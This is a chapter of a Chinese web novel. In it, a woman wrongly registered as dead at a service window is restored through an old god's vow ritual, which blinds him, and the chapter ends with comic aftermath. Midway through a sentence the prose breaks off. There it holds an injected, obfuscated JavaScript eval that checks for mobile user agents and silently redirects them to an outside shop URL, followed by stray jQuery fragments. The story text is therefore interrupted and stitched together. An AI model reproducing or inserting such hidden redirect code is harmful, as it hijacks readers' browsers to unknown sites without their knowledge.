三号窗口前。
顾志成抱着黑白遗像,脸色白得像刚从遗像里走出来的人是他。
许曼盯着他,咬牙切齿。
“我最后问你一遍。”
“我什么时候死的?”
顾志成嘴唇动了动。
“三年前。”
“哪天?”
“九月十七。”
许曼冷笑一声。
“九月十七我在医院上夜班,凌晨三点还给你发消息,让你别忘了缴燃气费。”
顾志成怔住。
他像是被这句话砸了一下,眼神里短暂地闪过一点空白后的刺痛。
夏圆圆立刻抬头。
“有聊天记录吗?”
“有。”
许曼把豆浆往窗口台面上一放,腾出手摸手机。
“我今天本来是来更正婚姻状态的,谁知道还能顺便参加自己的追悼会。”
她翻开聊天软件,点进和顾志成的对话框。
手指往上滑。
九月十七。
凌晨三点零六分。
那条消息刚露出来,屏幕忽然闪了一下。
【别忘了缴燃气费。】
几个字像被水泡过一样,边缘一点点发白。
许曼脸色变了。
她眼睁睁看着那条消息变成一片空白。
下一秒,对话框里弹出一行浅金色提示。
【亡者通讯记录已归档。】
【不支持活人调用。】
许曼气得差点把手机拍碎。
“我活着的时候发的消息,凭什么不支持我调用?”
夏圆圆凑过去看了一眼,整个人都快炸了。
“它不仅把你办死了,它还把你手机聊天记录也随葬了?”
周主任看她。
夏圆圆小声补充:“我用词不严谨,但情绪真实。”
周主任接过许曼的手机,又核对身份证、社保记录、护士证、结婚证。
每一样都是真的。
可每一样录入系统之后,屏幕都会自动弹出同一行提示。
【亡者状态已确认。】
【相关活人材料仅供参考。】
许曼怒极反笑。
“仅供参考?”
“我本人站在这里,仅供参考?”
顾志成脸色越来越难看。
他低头看着那张遗像,又看许曼。
“我真的……真的以为你死了。”
许曼张嘴就要骂。
可她看见顾志成的眼睛,话又卡住了。这个男人是真的为她守了三年寡。
鹿照影问:“许女士,这三年,你去了哪里?”
许曼说:“三年前,我从第三医院辞职,去了青岚康复中心。封闭式轮班,一个月休两天。”
“那时候我跟顾志成正在吵架,分居。他不接电话,我以为他还在跟我冷战。”
“后来我给他发消息,他不回。我给我婆婆打电话,号码空号。我回过一次云洄,家里门锁换了,邻居说他搬走了。”
“我以为他是不想见我。”
顾志成脸色惨白。
“我那时候收到的是死亡确认。”
“平台说你在九月十七号凌晨的旧住院部火灾里失踪,超过期限未确认生还,系统自动完成亡者登记。”
许曼愣住。
“九月十七我是在旧住院部。”
她声音低下去。
“但我没死,火灾发生时,我不在那栋楼里。”
“老婆,你真没死?”顾志成高兴得手舞足蹈。
许曼冷笑:“所以我活着上了三年班,你在云洄给我守寡?”
顾志成哑声说:“我还给你烧过纸。”
许曼:“烧哪儿了?”
顾志成:“十字路口。”
许曼:“难怪我那阵子老梦见楼下飘购物券。”
屏幕消息开始滚动。
【亡者遗愿认领】
【待确认:请配偶再婚】
【倒计时:1分钟】
夏圆圆急了。
“那怎么办?总不能让本人写一份《本人声明本人没死》吧?”
许曼冷冷道:“我可以写。”
周主任:“写了它也会显示亡者无法作为活人签字。”
夏圆圆:“……”
她深吸一口气。
“这系统真的很适合去阴曹地府上班。”
月照迟立刻摆手。
“别乱推荐,下面也不一定要。”
周主任核对完材料,脸色很沉。
“许曼本人、身份证、社保记录、护士证都在,但系统全部降为参考材料。”
夏圆圆急了:“本人都成参考了,那什么是正式材料?”
周主任看着屏幕。
“现在正式材料只有一份。”
鹿照影顺着她的视线看过去,明白了。
现在是要先阻止这份遗愿生效。
只要遗愿自动生效,许曼的灰线就会被释放,她的活人身份会更难拉回来。
闻厄看向那本旧结婚证。
“遗愿若非本人所立,便不能认领。”
夏圆圆:“可系统现在不认她本人。”
闻厄说:“那就调旧誓。”
闻厄伸手拿过结婚证。
顾志成下意识地问,“你要干什么?”
闻厄看着那本证。
“此证上有旧誓。”
夏圆圆眼睛一下子亮了。
“旧誓?是新技能吗?”
月照迟脸色变了,惊讶地看着闻厄。
“你确定要调?”
鹿照影看向他。
“很麻烦?”
闻厄说:“不麻烦,只是调一份旧材料。”
夏圆圆小声:“一般说‘只是’的都不简单。”
话音刚落,电脑屏幕又跳出一行提示。
【亡者遗愿认领倒计时:15秒。】
【超时未认领,将自动释放灰线。】
顾志成怀里的遗像轻轻震了一下。
许曼脚下那半截纸灰影子又往上爬了一寸。
闻厄看着那行字。
“来不及了。”
如果十五秒内不能打断“亡者状态确认”,许曼身上的灰线会继续覆盖,她和顾志成之间的关系会被彻底改成“亡者遗愿”。
到时候,不只是办不了业务。
许曼这个活人,可能真的会被推到灰线那边。
闻厄把手按在那本旧结婚证上。
结婚证上的红章慢慢亮起。
好像很多年前盖下去的印泥,隔了岁月,又重新湿润起来。
大厅里的灯暗了一下。
窗口玻璃上,浮出一段很短的影子。
很多年前的婚姻登记窗口。
年轻的顾志成站在柜台前,穿着不太合身的白衬衫,紧张得把身份证递反了。
年轻的许曼站在旁边,穿一件浅蓝色外套,眉眼利落,忍无可忍地把身份证翻过来。
“顾志成,你再紧张,等会儿结婚证上写的就是反面。”
登记员问:“双方是否自愿结婚?”
顾志成声音大得半个大厅都能听见:
“自愿!”
许曼被吓了一跳,转头瞪他。
“小点声。”
“没人跟你抢。”
夏圆圆本来紧张得屏住呼吸,听到这里没忍住,小声说:“这姐以前就很有战斗力。”
老马点头。
“看得出来。”
许曼站在窗口前,整个人僵住。
顾志成眼眶也红了,“你那天还说,让我婚后先洗三年碗。”
许曼下意识接话:“你才洗了三个月。”
“以后我要真死你前头,你敢拿我的钱去娶别人,我半夜回来掀你被子。”
鹿照影眼前一亮:“许曼不同意老公再婚,与亡者遗愿冲突啊。”
系统屏幕疯狂闪烁。
【检测到旧誓回执】
【亡者状态异常】
【灰线覆盖不完整】
就在这时,黑白遗像里忽然涌出一团灰线,进入闻厄的指尖。
暗金色神纹从他手背一路蔓延到腕骨,颜色却开始发黑。
月照迟低骂了一声。
“反噬了。闻厄,停下!”
闻厄没有停。
他按着结婚证,声音低而冷。
“回执未完。”
灰线缠住他的指节。
窗口玻璃上的旧影开始扭曲。
年轻许曼的脸一会儿清楚,一会儿模糊。
鹿照影一把抓住闻厄的手腕。
他打了个寒颤,手很冷,冷得不像人。
“闻厄,够了!”
几秒后,结婚证上的红章猛地亮了一下。
啪。
像一枚旧章重新盖下去。
玻璃上的影子定格在许曼踢顾志成的那一下。
大厅灯光重新亮起。
系统屏幕跳出提示。
【旧誓回执确认】
【亡者状态存疑】
【遗愿认领业务暂缓】
夏圆圆猛地握拳。
“暂缓一号又立功了!”
老马严肃点头。
“回去给它擦擦。”
许曼站在原地,盯着那行【亡者状态存疑】,一时竟然没骂人。
顾志成抱着遗像,眼泪忽然掉下来。
“我不是故意不回家。”
他说。
“我真的以为你死了。”
许曼很想骂他一句“你脑子才死了”,但看见他哭成这样,骂人的力气忽然就弱了一点。
最后她只咬牙说:“等我活人身份改回来,再跟你算账。”
周主任立刻拿过材料夹。
“许曼活人身份恢复,顾志成记忆异常,亡者遗愿认领暂缓,旧誓回执作为临时材料附卷。”
夏圆圆一边敲键盘,一边感叹。
“主任,附卷这两个字怎么这么有安全感。”
周主任:“少感叹,多打字。”
鹿照影却没有松手。
因为闻厄收回手后,站在原地没有动。
他的眼睛仍旧清冷,睫毛很长,瞳色里残留着一点暗金。
可他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758982|209562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的视线没有落在任何人身上。
鹿照影心里沉了一下。
“闻厄?你看得见我吗?”
他安静了两秒,很诚实地说:
“看不见。”
夏圆圆手里的笔“啪嗒”掉在桌上。
“失明了?”
月照迟走过来,脸色不算轻松。
“反噬。”
他看了闻厄一眼。
“旧誓回执本来就耗神力,这次还被灰线污染。他刚才硬把回执盖回来,等于拿自己的神格补了一枚章。”
夏圆圆震惊。
“神格还能当印泥用?”
月照迟:“你这么理解也不是不行。”
闻厄往前走了一步。
精准地撞上了三号窗口旁边那盆发财树。
发财树晃了晃,掉下一片叶子。
全场沉默。
闻厄停住,语气平静。
“此物为何站在路中间?”
夏圆圆小声说:“它在那里站三年了。”
鹿照影闭了闭眼,伸手拉住他的手腕。
“别动。”
闻厄低头。
他看不见她。
可在她的手指碰上他腕骨的那一瞬,他整个人安静下来。
“我带你去休息室。”
夏圆圆看看闻厄,又看看鹿照影,眼睛忽然亮了。
月照迟在旁边幽幽道:“把你脑子里的弹幕收一收。”
夏圆圆立刻低头捡笔。
“我没有。”
鹿照影扶着闻厄往里走。
鹿照影忍不住问:“你不是看不见吗?”
“嗯。”
“那你怎么知道我在左边?”
闻厄说:“你刚才,比别人先叫我的名字。我是瞎了,也不是聋了。”
鹿照影扑哧一声笑出来。
他看不见,却低声问:“怎么了?”
“没什么。”
“前面有门槛。”
闻厄点头,抬高了腿。
夏圆圆在后面捂住嘴,憋得很辛苦,因为前面并没有门槛。
周主任拿起材料夹,面无表情地看了她一眼。
“继续工作。”
夏圆圆立刻坐直。
“好的主任。”
鹿照影刚把闻厄扶到休息室门口,闻厄忽然停住。
鹿照影问:“怎么了?”
闻厄沉默片刻。
“我需要去一个地方。”
鹿照影一愣。
“哪里?”
闻厄说:“净手之处。”
鹿照影没反应过来。
夏圆圆在远处竖起耳朵。
月照迟端着杯水路过,脚步也停了。
月照迟补充道:“人间称为厕所。”
鹿照影的耳朵慢慢红了。
夏圆圆手里的笔第二次掉下去。
老马低头咳了一声。
周主任抬起头,处理得非常冷静。
“月照迟。”
月照迟立刻后退半步。
“为什么是我?”
周主任:“你是男的。”
月照迟看了一眼闻厄,又看鹿照影,再看自己手里的水杯。
“外部顾问不包含如厕陪同。”
周主任:“加班补贴里也不包含和神仙讨价还价。”
月照迟:“……”
闻厄很平静地转向声音来源。
“有劳。”
月照迟深吸一口气。
“你们旧神现在真的很能适应现代基层服务。”
夏圆圆终于没忍住,趴在桌上笑得肩膀直抖。
鹿照影低着头,把闻厄的手腕交给月照迟。
她尽量让自己的声音听起来正常。
“你跟着他。”
闻厄问:“你不去?”
全场再次安静。
鹿照影耳朵更红。
月照迟一把抓住闻厄的袖子,语气沉痛。
“走吧,旧神。再问下去,这章就不能播了。”
闻厄被月照迟带走时,还微微侧了侧头,像在确认鹿照影的位置。
鹿照影站在原地,手指还残留着他腕骨上的冷意。
她低头看了看自己的手。
刚才那一瞬,她竟然有点舍不得松开。
这个念头刚冒出来,鹿照影立刻把手收进工牌绳后面,假装自己在整理证件。
夏圆圆远远看着她,一脸“我懂但我不说”。
鹿照影冷静地看过去。
夏圆圆立刻低头打字。
“我什么都没看见。”
三号窗口电脑就在这时,又弹出一条新提示。
【A001号缺失材料三:现存照护残响】
【疑似对象:许曼】
【剩余安全时间:71小时47分】
【地点:旧育婴室】
鹿照影脸上的热意一点点退了下去。
她看向窗口。
许曼还站在那里,手里拿着自己的护士证,脸色一点点白下来。
她似乎也看见了那条提示。
“旧育婴室……”